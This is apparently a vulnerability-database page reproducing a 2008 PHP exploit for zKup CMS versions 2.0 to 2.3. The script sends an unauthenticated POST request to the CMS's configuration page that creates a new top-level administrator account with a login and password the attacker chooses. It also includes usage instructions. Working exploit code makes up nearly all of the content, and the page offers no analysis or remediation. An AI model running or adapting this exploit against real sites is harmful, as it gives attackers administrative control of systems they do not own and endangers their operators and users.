Lucene search
K

zKup CMS 2.0 <= 2.3 - Remote Add Admin Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

zKup CMS v2.0 <= v2.3 Remote Add Admin Exploi

Code

                                                #!/usr/bin/php
&#60;?php
/*
 * Name:    zKup CMS v2.0 &#60;= v2.3 0-day exploit (add admin)
 * Credits: Charles &#34;real&#34; F. &#60;charlesfol[at]hotmail.fr&#62;
 * Date:    03-08-2008
 * Conditions: None.
 *
 * This exploit add a new zKup admin.
 *
 */

print &#34;\n&#34;;
print &#34;   zKup CMS v2.0 &#60;= v2.3 0-day exploit (add admin)\n&#34;;
print &#34;       by Charles \&#34;real\&#34; F. &#60;charlesfol[at]hotmail.fr&#62;\n\n&#34;;

if($argc&#60;4) { print &#34;usage: php zkup2_admin_exploit.php &#60;url&#62; &#60;login&#62; &#60;passwd&#62;\n   eg: php zkup2_admin_exploit.php http://127.0.0.1/votresite/ real p4ssw0rd&#34;;exit(-1); }
$url = $argv[1];
$log = $argv[2];
$pas = $argv[3];

$postit = &#34;action=ajout&login=$log&mdp=$pas&mdp2=$pas&lvl=9&#34;;

print &#34;[*] sending evil c0de ... &#34;;
if(preg_match(&#34;#alert#i&#34;,post($url.&#34;admin/configuration/modifier.php&#34;,&#34;$postit&#34;))) print &#34;done.\n&#34;;
else print &#34;failed.\n&#34;;

function post($url,$data,$get=1)
{
	$result = &#39;&#39;;
	preg_match(&#34;#^http://([^/]+)(/.*)$#i&#34;,$url,$info);
	$host = $info[1];
	$page = $info[2];
	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
	
	$req  = &#34;POST $page HTTP/1.1\r\n&#34;;
	$req .= &#34;Host: $host\r\n&#34;;
	$req .= &#34;User-Agent: Mozilla Firefox\r\n&#34;;
	$req .= &#34;Connection: close\r\n&#34;;
	$req .= &#34;Content-type: application/x-www-form-urlencoded\r\n&#34;;
	$req .= &#34;Content-length: &#34;.strlen( $data ).&#34;\r\n&#34;;
	$req .= &#34;\r\n&#34;;
	$req .= $data.&#34;\r\n&#34;;

	fputs($fp,$req);
	
	if($get) while(!feof($fp)) $result .= fgets($fp,128);
	
	fclose($fp);
	return $result;
}

?&#62;

# milw0rm.com [2008-03-07]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15